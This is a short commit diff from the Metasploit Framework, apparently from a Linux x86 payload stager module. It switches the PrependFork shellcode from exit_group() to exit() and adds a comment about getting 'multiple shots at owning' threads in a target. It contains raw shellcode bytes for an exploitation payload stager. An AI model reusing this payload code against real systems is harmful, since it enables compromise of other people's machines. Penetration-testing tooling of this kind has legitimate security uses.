Use exit() instead of exit_group()
git-svn-id: file:///home/svn/framework3/trunk@10483 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
e646176db7
commit
1392ef78d7
|
@ -76,9 +76,18 @@ module Metasploit3
|
||||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||||
|
|
||||||
if(datastore['PrependFork'])
|
if(datastore['PrependFork'])
|
||||||
# fork() / parent does exit_group() (for threads)
|
# fork() / parent does exit()
|
||||||
|
|
||||||
|
# If the target process is threaded, this means the thread
|
||||||
|
# will exit. exit_group() will try to close the process down
|
||||||
|
# completely.. and if we do that, it may not be reaped
|
||||||
|
# correctly.
|
||||||
|
#
|
||||||
|
# Plus, depending on the vuln, we might get multiple shots at
|
||||||
|
# owning a finite amount of threads.
|
||||||
|
|
||||||
midstager <<
|
midstager <<
|
||||||
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\xfc\xcd\x80"
|
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
|
||||||
end
|
end
|
||||||
|
|
||||||
midstager <<
|
midstager <<
|
||||||
|
|
Loading…
Reference in New Issue